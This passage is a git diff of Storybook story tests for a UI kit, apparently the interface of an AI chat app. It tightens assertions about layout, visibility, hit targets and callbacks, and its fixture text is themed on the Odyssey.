[tabindex="0"]')).toBeNull(); await expect(canvas.getByText("Title and summary by the brain · page not opened or checked")).toBeVisible(); const open = canvas.getByRole("link", { name: "Open ithaca-harbour.example in a new tab" }); diff --git a/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx b/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx index 8eb97534e0..4c35f8bf86 100644 --- a/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx +++ b/packages/ui-kit/stories/blocks/QuoteCard.stories.tsx @@ -57,7 +57,7 @@ export const LongUnbrokenRunWraps = meta.story({ play: async ({ canvas, canvasElement }) => { await expect(longUrl.length).toBe(200); await expect(longNote.length).toBe(200); - await expect(/\s/.test(longUrl + longNote)).toBe(false); + await expect(longUrl + longNote).not.toMatch(/\s/); const quote = canvas.getByText(longUrl); const card = quote.parentElement!; diff --git a/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx b/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx index 268c7fc2c0..49e0d45bd4 100644 --- a/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx +++ b/packages/ui-kit/stories/chrome/ComposerMic.stories.tsx @@ -53,7 +53,8 @@ export const Idle = meta.story({ const box = mic.getBoundingClientRect(); await expect([box.width, box.height], "the 44px target").toEqual([44, 44]); const outer = field(canvasElement).getBoundingClientRect(); - await expect(box.top >= outer.top && box.bottom <= outer.bottom, "the target stays inside the border").toBe(true); + await expect(box.top, "the target stays inside the top border").toBeGreaterThanOrEqual(outer.top); + await expect(box.bottom, "the target stays inside the bottom border").toBeLessThanOrEqual(outer.bottom); const disc = centre(canvasElement.querySelector(".bk-voice-mic-disc")!); for (const name of ["Attach — photo, camera, files", "Send"]) { await expect(Math.abs(centre(canvas.getByRole("button", { name })) - disc), `${name} centred on the mic`).toBeLessThanOrEqual(0.5); diff --git a/packages/ui-kit/stories/chrome/DiscButton.stories.tsx b/packages/ui-kit/stories/chrome/DiscButton.stories.tsx index 7d53527225..a0698f7e61 100644 --- a/packages/ui-kit/stories/chrome/DiscButton.stories.tsx +++ b/packages/ui-kit/stories/chrome/DiscButton.stories.tsx @@ -119,8 +119,9 @@ export const PairNewChatExpanded = meta.story({ if (!matchMedia("(prefers-reduced-motion: reduce)").matches) { await expect(getComputedStyle(label).transitionDuration, "the pill opens over 150ms").toContain("0.15s"); } - // 150ms under normal motion, none under reduced motion. - await new Promise((resolve) => setTimeout(resolve, 250)); + // Wait for the pill's own transitions rather than a guess at their length: + // 150ms under normal motion, none (an empty list) under reduced motion. + await Promise.all(newChat.getAnimations({ subtree: true }).map((animation) => animation.finished)); const after = rect(newChat); await expect(after.width, "the pill widens the box").toBeGreaterThan(before.width + 40); await expect(after.right, "it grows leftward").toBe(before.right); diff --git a/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx b/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx index 86bfb50c42..73959f982f 100644 --- a/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx +++ b/packages/ui-kit/stories/chrome/MessageBubble.stories.tsx @@ -24,11 +24,13 @@ export const User = meta.story({}); * bubble would say "a message"; a full-column answer says "this is the document * you asked for", and the trace line is what makes that claim checkable. */ +const BRAIN_ANSWER = "Circe named her on Aeaea, the morning you sailed — six heads, six men, one pass. You did not tell the crew."; + export const Brain = User.extend({ args: { role: "brain", trace: answerTrace, - text: "Circe named her on Aeaea, the morning you sailed — six heads, six men, one pass. You did not tell the crew.", + text: BRAIN_ANSWER, }, }); @@ -59,10 +61,19 @@ export const Wide = User.extend({ parameters: wide }); * and a border, a brain turn has neither. */ export const OnlyTheUserGetsABubble = meta.story({ + render: () => ( + <> + + + + ), play: async ({ canvas }) => { const user = (await canvas.findByText(userMessage)) as HTMLElement; await expect(getComputedStyle(user).borderTopWidth).toBe("1px"); await expect(getComputedStyle(user).backgroundColor).not.toBe("rgba(0, 0, 0, 0)"); + const brain = (await canvas.findByText(BRAIN_ANSWER)) as HTMLElement; + await expect(getComputedStyle(brain).borderTopWidth, "a brain turn has no border").toBe("0px"); + await expect(getComputedStyle(brain).backgroundColor, "a brain turn has no background").toBe("rgba(0, 0, 0, 0)"); }, }); diff --git a/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx b/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx index 889bc0d090..e63654f302 100644 --- a/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx +++ b/packages/ui-kit/stories/chrome/PendingFollowUps.stories.tsx @@ -113,7 +113,7 @@ export const Keyboard = meta.story({ play: async ({ canvas, canvasElement }) => { const [first, second] = canvas.getAllByRole("button"); const texts = [...canvasElement.querySelectorAll("[data-follow-up-text]")]; - await expect(texts.every((t) => t.hidden)).toBe(true); + await expect(texts.map((t) => t.hidden)).toEqual([true, true]); await userEvent.tab(); await expect(document.activeElement).toBe(first); await waitFor(() => expect(texts[0]!.hidden).toBe(false)); diff --git a/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx b/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx index 06f408af65..cf9940e1fa 100644 --- a/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx +++ b/packages/ui-kit/stories/chrome/ScreenHeader.stories.tsx @@ -71,9 +71,17 @@ export const Wide = Title.extend({ parameters: wide }); * from `nav` as well. */ export const DividerBelongsToNav = meta.story({ args: { variant: "nav", title: "run #4c1" }, - play: async ({ canvasElement }) => { - const header = canvasElement.querySelector("div > div")!; - await expect(getComputedStyle(header).borderBottomStyle).toBe("solid"); + render: (args) => ( +
+ + + + +
+ ), + play: async ({ canvas }) => { + const rules = [...canvas.getByTestId("headers").children].map((header) => getComputedStyle(header).borderBottomStyle); + await expect(rules, "nav ruled; title, hero and nav with divider: false not").toEqual(["solid", "none", "none", "none"]); }, }); diff --git a/packages/ui-kit/stories/chrome/TabBar.stories.tsx b/packages/ui-kit/stories/chrome/TabBar.stories.tsx index e49d734e51..fdc66e752f 100644 --- a/packages/ui-kit/stories/chrome/TabBar.stories.tsx +++ b/packages/ui-kit/stories/chrome/TabBar.stories.tsx @@ -81,13 +81,19 @@ export const HitTargetIsExact = meta.story({ // The design's README predicts "~33px tall visual -> 51px hit". The // visual is the icon (20) + gap (3) + the label's line box, so the claim - // worth asserting is the EXPANSION, which is exactly 18 and 28. - const inner = { h: box.height - 18, w: box.width - 28 }; - await expect(box.height - inner.h).toBe(18); - await expect(box.width - inner.w).toBe(28); + // worth asserting is the EXPANSION, which is exactly 18 and 28: measured + // from the drawn visual, the icon above and the wider of icon and label + // across, not from the box it is supposed to have grown. + const icon = tab.querySelector("svg")!.getBoundingClientRect(); + const label = document.createRange(); + label.selectNode([...tab.childNodes].find((node) => node.nodeType === Node.TEXT_NODE)!); + const visualWidth = Math.max(icon.width, label.getBoundingClientRect().width); + await expect(icon.top - box.top, "9px of reach above the icon").toBeCloseTo(9, 1); + await expect(box.width - visualWidth, "28px of reach across the visual").toBeCloseTo(28, 1); // And the README's 51 is the real number at this width, within a pixel // of font metrics. - await expect(box.height > 50 && box.height < 52).toBe(true); + await expect(box.height).toBeGreaterThan(50); + await expect(box.height).toBeLessThan(52); } // The expansion overlaps nothing at phone width: a probe one pixel inside @@ -127,7 +133,8 @@ export const NeighbourGapIsWideEnough = meta.story({ // Border boxes are the expanded ones; the VISUALS are 14px inside each. gaps.push(b.left + 14 - (a.right - 14)); } - for (const gap of gaps) await expect(gap >= 28).toBe(true); + await expect(gaps).toHaveLength(4); + for (const gap of gaps) await expect(gap).toBeGreaterThanOrEqual(28); }, }); diff --git a/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx b/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx index d6e013d450..e4425d9ace 100644 --- a/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx +++ b/packages/ui-kit/stories/conversation/ApifySpend.stories.tsx @@ -83,7 +83,7 @@ export const StoppedUnconfirmed320 = meta.story({ await bounds(notice, "stop notice"); await targets(notice, "stop notice"); await accessible(document.querySelector("main")!); await userEvent.click(within(notice).getByRole("button", { name: "Check again" })); await waitFor(() => expect(document.querySelector("[data-apify-turn-notice]"), "settled by the host, not by the click").toBeNull()); - await expect(reads.some(query => query.includes("refresh=1"))).toBe(true); + await expect(reads, "Check again asked the host to refresh").toContainEqual(expect.stringContaining("refresh=1")); }, }); export const StoppedUnconfirmed1280 = StoppedUnconfirmed320.extend(atWidth(1280)); diff --git a/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx b/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx index 34bccbdc07..e2fe3339c1 100644 --- a/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx +++ b/packages/ui-kit/stories/conversation/AttachmentRow.stories.tsx @@ -63,13 +63,9 @@ export const WaveformIsDeterministic = meta.story({ const bars = [...canvasElement.querySelectorAll("span")].filter( (s) => s.style.width === "2px", ); + // The heights follow this clip's 38 seconds, so a formula that stopped + // reading `seconds` draws another shape and fails here. await expect(bars.map((b) => b.style.height)).toEqual(expected.map((h) => `${h}px`)); - - // And the shape is a function of the clip, not a constant. - const other = Array.from({ length: 6 }, (_, i) => - Math.round(4 + Math.abs(Math.sin((i + 1) * 1.7 + 91)) * 13), - ); - await expect(other).not.toEqual(expected); }, }); diff --git a/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx b/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx index c98cd10e87..d5d2bb5c92 100644 --- a/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx +++ b/packages/ui-kit/stories/conversation/CodeFenceTheme.stories.tsx @@ -26,6 +26,8 @@ export const Phone = meta.story({ render: () => , play: async ( await waitFor(() => expect(canvasElement.querySelector('[data-code-theme-preview]')?.shadowRoot?.querySelectorAll('.hljs-keyword').length ?? 0).toBeGreaterThan(0)); const shadow = canvasElement.querySelector('[data-code-theme-preview]')!.shadowRoot!; await expect(shadow.querySelectorAll('[data-kit-code-block]')).toHaveLength(3); - for (const button of shadow.querySelectorAll('button')) await expect(button.getBoundingClientRect().height).toBeGreaterThanOrEqual(44); + const buttons = shadow.querySelectorAll('button'); + await expect(buttons, 'one copy button per code block').toHaveLength(3); + for (const button of buttons) await expect(button.getBoundingClientRect().height).toBeGreaterThanOrEqual(44); } }); export const Desktop = Phone.extend({ parameters: wide }); diff --git a/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx b/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx index b7187c360e..fcd2ef940a 100644 --- a/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx +++ b/packages/ui-kit/stories/conversation/ComparisonTable.stories.tsx @@ -1,4 +1,5 @@ import preview from "#.storybook/preview"; +import { expect } from "storybook/test"; import { straitChoice } from "../../fixtures/projects.js"; import { ComparisonTable } from "../../src/conversation/ComparisonTable.js"; @@ -53,6 +54,9 @@ export const MissingValues = Default.extend({ ], footnote: "", }, + play: async ({ canvas }) => { + await expect(canvas.queryAllByText("—"), "both empty cells read as an em dash").toHaveLength(2); + }, }); /** No recommendation: nothing is tinted, and the table is then a comparison diff --git a/packages/ui-kit/stories/conversation/EmptyState.stories.tsx b/packages/ui-kit/stories/conversation/EmptyState.stories.tsx index 40920a07b7..113b7e5697 100644 --- a/packages/ui-kit/stories/conversation/EmptyState.stories.tsx +++ b/packages/ui-kit/stories/conversation/EmptyState.stories.tsx @@ -81,6 +81,7 @@ export const WithActions = meta.story({ export const DecorativeActions = meta.story({ args: { variant: "offline", primaryLabel: "Retry", primaryTone: "quiet" }, play: async ({ canvas }) => { + await expect(canvas.queryByText("Retry"), "the decorative action is still drawn").toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); }, }); diff --git a/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx b/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx index c6b2b87cfe..7e0fa0f371 100644 --- a/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx +++ b/packages/ui-kit/stories/conversation/TurnErrorCard.stories.tsx @@ -15,10 +15,11 @@ const meta = preview.meta({ }, }); -const play = async ({ canvasElement }: { canvasElement: HTMLElement }) => { +const play = async ({ canvasElement, args }: { canvasElement: HTMLElement; args: { actions?: readonly unknown[] } }) => { const card = canvasElement.querySelector('[aria-label="Turn failed"]')!; await expect(overflowing(card)).toEqual([]); await expect(card.getBoundingClientRect().width).toBeCloseTo(card.parentElement!.getBoundingClientRect().width, 0); + await expect(card.querySelectorAll('.bk-turn-error-actions [role="button"]'), "every action is an operable control").toHaveLength(args.actions?.length ?? 0); for (const control of card.querySelectorAll('[role="button"]')) { await expect(control.getBoundingClientRect().height).toBeGreaterThanOrEqual(44); } diff --git a/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx b/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx index 276debe0ff..daea26bc5b 100644 --- a/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx +++ b/packages/ui-kit/stories/decisions/AskUserFormCard.stories.tsx @@ -56,7 +56,11 @@ const args = { onSubmit: fn(), onDismiss: fn(), }; -async function geometry(root: HTMLElement) { +async function geometry(root: HTMLElement, shown: string[]) { + await expect( + [...root.querySelectorAll("[data-form-node]")].map((node) => node.dataset.formNode), + "the visible nodes", + ).toEqual(shown); await expect(overflowing(root)).toEqual([]); const card = root.querySelector(".bk-askform")!; await expect(card.getBoundingClientRect().width).toBeGreaterThan(200); @@ -73,15 +77,15 @@ async function geometry(root: HTMLElement) { } export const FormSingle = meta.story({ args: { ...args, answers: { evening: { value: "Walk" } } }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "walk"]), }); export const FormMulti = meta.story({ args: { ...args, answers: { evening: { value: "Tales" } } }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "tales"]), }); export const FormRank = meta.story({ args: { ...args, answers: { evening: { value: "Games" } } }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "games"]), }); export const FormScale = meta.story({ args: { @@ -101,7 +105,7 @@ export const FormScale = meta.story({ }, ], }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "scale"]), }); export const FormText = meta.story({ args: { @@ -127,7 +131,7 @@ export const FormText = meta.story({ answers: { evening: { value: "Tales" }, text: "Remember the harbor." }, visibleNodes: ["evening", "text"], }); - await geometry(canvasElement); + await geometry(canvasElement, ["evening", "text"]); }, }); export const FormSwitchSetAside = meta.story({ @@ -177,7 +181,7 @@ export const FormSwitchSetAside = meta.story({ canvasElement.querySelector("[data-form-actions] .bk-form-keys") ?.textContent, ).toContain("space pick up"); - await geometry(canvasElement); + await geometry(canvasElement, ["evening", "games"]); }, }); const three: FormNode[] = [ @@ -205,7 +209,7 @@ export const FormThreeLevels = meta.story({ nodes: three, answers: { evening: { value: "Games" }, gameKind: { value: "Journeys" } }, }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "gameKind", "rank"]), }); const deep: FormNode[] = [ three[0]!, @@ -234,7 +238,7 @@ export const FormFourLevels = meta.story({ await expect( canvas.getByRole("button", { name: "Show full path to Journeys" }), ).toBeVisible(); - await geometry(canvasElement); + await geometry(canvasElement, ["evening", "gameKind", "location", "rank"]); }, }); export const FormFlagged = meta.story({ @@ -246,7 +250,7 @@ export const FormFlagged = meta.story({ await expect( canvasElement.querySelector('[aria-invalid="true"]'), ).not.toBeNull(); - await geometry(canvasElement); + await geometry(canvasElement, ["evening"]); }, }); export const FormAnsweredTales = meta.story({ @@ -317,7 +321,7 @@ export const FormSixOptionScale = meta.story({ ], answers: { evening: { value: "Walk" }, walk: { value: "Far" } }, }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, ["evening", "walk", "route"]), }); export const FormNodeLimit = meta.story({ args: { @@ -329,7 +333,7 @@ export const FormNodeLimit = meta.story({ required: false, })), }, - play: async ({ canvasElement }) => geometry(canvasElement), + play: async ({ canvasElement }) => geometry(canvasElement, Array.from({ length: 12 }, (_, i) => `note-${i}`)), }); export const FormSixOptionScaleWide = FormSixOptionScale.extend({ parameters: wide, diff --git a/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx b/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx index bdab17b045..4707371113 100644 --- a/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx +++ b/packages/ui-kit/stories/decisions/AskUserRankCard.stories.tsx @@ -9,13 +9,15 @@ const five = rankingJourneys.slice(0, 5); const ids = five.map((item) => item.id); const args = { question: "Which crossing first?", items: five, onSubmit: fn(), onDismiss: fn() }; -async function geometry(root: HTMLElement) { +async function geometry(root: HTMLElement, rows: number) { await expect(overflowing(root)).toEqual([]); const card = root.querySelector(".bk-askrank")!; await expect(card.getBoundingClientRect().width).toBeGreaterThan(200); await Promise.all(card.getAnimations({ subtree: true }).filter((animation) => animation.effect?.getTiming().iterations !== Infinity).map((animation) => animation.finished.catch(() => undefined))); const scroll = window.scrollY; - for (const handle of root.querySelectorAll("[data-rank-handle]")) { + const handles = root.querySelectorAll("[data-rank-handle]"); + await expect(handles, "one reorder handle per row").toHaveLength(rows); + for (const handle of handles) { handle.scrollIntoView({ block: "center" }); const paint = handle.getBoundingClientRect(); const reach = getComputedStyle(handle, "::before"); @@ -31,13 +33,13 @@ async function geometry(root: HTMLElement) { } window.scrollTo(0, scroll); } -export const RankUntouched = meta.story({ args, play: async ({ canvasElement }) => geometry(canvasElement) }); -export const RankWide = meta.story({ args, parameters: wide, play: async ({ canvasElement }) => geometry(canvasElement) }); +export const RankUntouched = meta.story({ args, play: async ({ canvasElement }) => geometry(canvasElement, five.length) }); +export const RankWide = meta.story({ args, parameters: wide, play: async ({ canvasElement }) => geometry(canvasElement, five.length) }); export const RankPickedUp = meta.story({ args, play: async ({ canvas, canvasElement }) => { await userEvent.click(canvas.getByRole("button", { name: "Circe’s island, position 3 of 5" })); await expect(canvas.getByRole("button", { name: "Cancel" })).toBeVisible(); await expect(getComputedStyle(canvasElement.querySelector("[data-picked]")!).boxShadow).not.toBe("none"); - await geometry(canvasElement); + await geometry(canvasElement, five.length); } }); /** A static lifted frame; pointer travel itself is covered by the browser harness. */ export const RankMidDrag = meta.story({ args, play: async ({ canvas }) => { @@ -45,7 +47,7 @@ export const RankMidDrag = meta.story({ args, play: async ({ canvas }) => { } }); export const RankAnswered = meta.story({ args: { ...args, state: "answered", order: [ids[2]!, ids[0]!, ids[4]!, ids[1]!, ids[3]!], unchanged: false } }); export const RankKept = meta.story({ args: { ...args, state: "answered", order: ids, unchanged: true } }); -export const RankFifteenCutoff = meta.story({ args: { ...args, items: rankingJourneys, cutoff: 3 }, play: async ({ canvasElement }) => geometry(canvasElement) }); +export const RankFifteenCutoff = meta.story({ args: { ...args, items: rankingJourneys, cutoff: 3 }, play: async ({ canvasElement }) => geometry(canvasElement, rankingJourneys.length) }); export const RankFifteenAnswered = meta.story({ args: { ...args, items: rankingJourneys, cutoff: 3, state: "answered", order: rankingJourneys.map((item) => item.id), unchanged: true } }); export const RankDismissed = meta.story({ args: { ...args, state: "dismissed", onAskAgain: fn() } }); export const RankKeyboard = meta.story({ args, play: async ({ canvas, args: current, canvasElement }) => { @@ -57,7 +59,7 @@ export const RankKeyboard = meta.story({ args, play: async ({ canvas, args: curr await expect(canvasElement.querySelector("[aria-live]")?.textContent).toBe("Aeolus’s floating island moved to 3 of 5."); await userEvent.click(canvas.getByRole("button", { name: "Submit order" })); await expect(current.onSubmit).toHaveBeenCalledWith({ order: [ids[2], ids[0], ids[4], ids[1], ids[3]], unchanged: false }); - await geometry(canvasElement); + await geometry(canvasElement, five.length); } }); // Every interaction/record state also holds at the design’s wide width. diff --git a/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx b/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx index 062995fecf..4a348979ff 100644 --- a/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx +++ b/packages/ui-kit/stories/decisions/DispositionBar.stories.tsx @@ -80,13 +80,16 @@ export const Applying = meta.story({ play: async ({ canvas, canvasElement, args }) => { await expect(canvas.getByText("Recording…")).toBeTruthy(); await expect(canvasElement.querySelector("[aria-busy='true']")).not.toBeNull(); - for (const button of canvas.getAllByRole("button")) { + const buttons = canvas.getAllByRole("button"); + await expect(buttons, "commit, Later and Dismiss are all drawn").toHaveLength(3); + for (const button of buttons) { await expect(button.getAttribute("aria-disabled")).toBe("true"); // A pointer cannot reach it (pointer-events: none); a programmatic // click must not fire either. button.click(); } await expect(args.commit!.onClick).not.toHaveBeenCalled(); + await expect(args.later!.onClick, "Later is inert while busy").not.toHaveBeenCalled(); await expect(args.dismiss!.onClick).not.toHaveBeenCalled(); }, }); diff --git a/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx b/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx index 06ec8d1639..2351df435c 100644 --- a/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx +++ b/packages/ui-kit/stories/decisions/NotificationCard.stories.tsx @@ -81,8 +81,11 @@ export const WideStory = Rich.extend({ parameters: wide }); export const Acted = meta.story({ play: async ({ canvas, userEvent, args }) => { await userEvent.click(await canvas.findByText("Approve the fetch")); - await expect(args.actions?.[0].onClick).toHaveBeenCalled(); + await expect(args.actions?.[0].onClick).toHaveBeenCalledTimes(1); await expect(args.actions?.[1].onClick).not.toHaveBeenCalled(); + await userEvent.click(await canvas.findByText("Later")); + await expect(args.actions?.[1].onClick, "Later reaches its own callback").toHaveBeenCalledTimes(1); + await expect(args.actions?.[0].onClick).toHaveBeenCalledTimes(1); }, }); @@ -91,6 +94,7 @@ export const Acted = meta.story({ export const Static = meta.story({ args: { actions: rich.actions }, play: async ({ canvas, canvasElement }) => { + for (const action of rich.actions) await expect(canvas.queryByText(action.label), `${action.label} is still drawn`).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); }, diff --git a/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx b/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx index 82f7d10eae..724042a4aa 100644 --- a/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx +++ b/packages/ui-kit/stories/decisions/QuestionAndMask.stories.tsx @@ -845,26 +845,6 @@ export const MultiQuestionDismissed = meta.story({ }, }); -const singleOtherSubmit = fn(); -export const SingleQuestionUnchanged = meta.story({ - parameters: at320, - render: () => , - play: async ({ canvas, userEvent }) => { - await expect(canvas.getAllByRole("radiogroup")).toHaveLength(1); - const submit = canvas.getByRole("button", { name: "Submit" }); - await expect(submit).toHaveAttribute("aria-disabled", "true"); - await expect(canvas.getByRole("button", { name: "Dismiss" })).toBeVisible(); - const field = canvas.getByRole("textbox", { name: "Your own answer" }); - await userEvent.type(field, "keep the omens"); - await expect(submit).not.toHaveAttribute("aria-disabled"); - await userEvent.click(submit); - await expect(singleOtherSubmit).toHaveBeenCalledTimes(1); - await expect(singleOtherSubmit).toHaveBeenCalledWith("keep the omens"); - await userEvent.type(field, "{Enter}"); - await expect(singleOtherSubmit).toHaveBeenCalledTimes(2); - }, -}); - export const MultiQuestionWide = MultiQuestion.extend({ parameters: wide }); export const MultiQuestionIncompleteWide = MultiQuestionIncomplete.extend({ parameters: wide }); export const MultiQuestionKeepsAnswersWide = MultiQuestionKeepsAnswers.extend({ parameters: wide }); @@ -872,4 +852,3 @@ export const MultiQuestionHandOnWide = MultiQuestionHandOn.extend({ parameters: export const MultiQuestionLongestWide = MultiQuestionLongest.extend({ parameters: wide }); export const MultiQuestionAnsweredWide = MultiQuestionAnswered.extend({ parameters: wide }); export const MultiQuestionDismissedWide = MultiQuestionDismissed.extend({ parameters: wide }); -export const SingleQuestionUnchangedWide = SingleQuestionUnchanged.extend({ parameters: wide }); diff --git a/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx b/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx index 61163c3ecf..14687e55c7 100644 --- a/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx +++ b/packages/ui-kit/stories/desktop/CommandPalette.stories.tsx @@ -115,7 +115,7 @@ export const EveryWriteShowsItsEffect = meta.story({ for (const write of writes) { // In the row, visibly. - await expect(await canvas.findByText(write.effect!)).toBeTruthy(); + await expect(await canvas.findByText(write.effect!)).toBeVisible(); // And in the name a screen reader is given. const row = options.find((o) => o.textContent?.includes(write.label))!; await expect(row).toHaveAccessibleName(`${write.label}, ${write.effect}`); @@ -253,8 +253,8 @@ export const Static = meta.story({ await expect(canvas.queryByRole("option")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); - await expect(await canvas.findByText("enqueue")).toBeTruthy(); - await expect(await canvas.findByText("reindex")).toBeTruthy(); + await expect(await canvas.findByText("enqueue")).toBeVisible(); + await expect(await canvas.findByText("reindex")).toBeVisible(); // The query is still a real input — read-only rather than fake, as the // composer's is — so it still focuses and still announces itself. const input = await canvas.findByRole("combobox"); diff --git a/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx b/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx index d0cbe8f713..23fc8038e1 100644 --- a/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx +++ b/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx @@ -92,6 +92,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The result is there, path and highlight; only the pressable part is gone. + await expect(await canvas.findByText("knowledge/scylla.md")).toBeVisible(); + await expect(await canvas.findByText("six heads, six men, one pass")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); diff --git a/packages/ui-kit/stories/primitives/Surface.stories.tsx b/packages/ui-kit/stories/primitives/Surface.stories.tsx index e51052aeb6..dec3fd928e 100644 --- a/packages/ui-kit/stories/primitives/Surface.stories.tsx +++ b/packages/ui-kit/stories/primitives/Surface.stories.tsx @@ -176,6 +176,9 @@ export const OperableToned = Operable.extend({ export const StrongButStatic = Default.extend({ args: { emphasis: "strong", label: "Route home" }, play: async ({ canvas, canvasElement }) => { + // The surface is there, label and body painted; only the role is withheld. + await expect(await canvas.findByText("Route home")).toBeVisible(); + await expect(await canvas.findByText("9 days / 20")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); await expect(canvasElement.querySelector(".bk-row, .bk-control")).toBeNull(); diff --git a/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx b/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx index 550a934cfa..5156a0553e 100644 --- a/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx +++ b/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx @@ -69,6 +69,8 @@ export const Multiple = Default.extend({ export const MultipleStatic = Multiple.extend({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The option is there, as a record of the choice; only the control is gone. + await expect(await canvas.findByText("Keep following the eagle omen")).toBeVisible(); await expect(canvas.queryByRole("checkbox")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); await expect(canvasElement.querySelector("[aria-checked]")).toBeNull(); @@ -180,6 +182,8 @@ export const ArrowKeys = Group.extend({ export const Static = meta.story({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The option is there, as a record of the choice; only the control is gone. + await expect(await canvas.findByText("omens/day-3651-eagle.md")).toBeVisible(); await expect(canvas.queryByRole("radio")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); diff --git a/packages/ui-kit/stories/rows/FileRow.stories.tsx b/packages/ui-kit/stories/rows/FileRow.stories.tsx index fe27c0e523..3db242d933 100644 --- a/packages/ui-kit/stories/rows/FileRow.stories.tsx +++ b/packages/ui-kit/stories/rows/FileRow.stories.tsx @@ -162,6 +162,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined, active: true }, play: async ({ canvas, canvasElement }) => { + // The row is there, naming its folder and count; only the tree role is gone. + await expect(await canvas.findByText("omens")).toBeVisible(); + await expect(await canvas.findByText("86")).toBeVisible(); await expect(canvas.queryByRole("treeitem")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); diff --git a/packages/ui-kit/stories/rows/FilterRow.stories.tsx b/packages/ui-kit/stories/rows/FilterRow.stories.tsx index 4e8f83e0fd..b3a870d0cf 100644 --- a/packages/ui-kit/stories/rows/FilterRow.stories.tsx +++ b/packages/ui-kit/stories/rows/FilterRow.stories.tsx @@ -97,6 +97,8 @@ export const Tablist = meta.story({ export const Static = meta.story({ args: { items: queueFilters.map((label) => ({ label })) }, play: async ({ canvas, canvasElement }) => { + // Every pill is there as a label; only the tab semantics are gone. + for (const label of queueFilters) await expect(await canvas.findByText(label)).toBeVisible(); await expect(canvas.queryByRole("tablist")).toBeNull(); await expect(canvas.queryByRole("tab")).toBeNull(); await expect(canvasElement.querySelector(".bk-control")).toBeNull(); diff --git a/packages/ui-kit/stories/rows/ListRow.stories.tsx b/packages/ui-kit/stories/rows/ListRow.stories.tsx index 7b7967fb7a..8ff69c93db 100644 --- 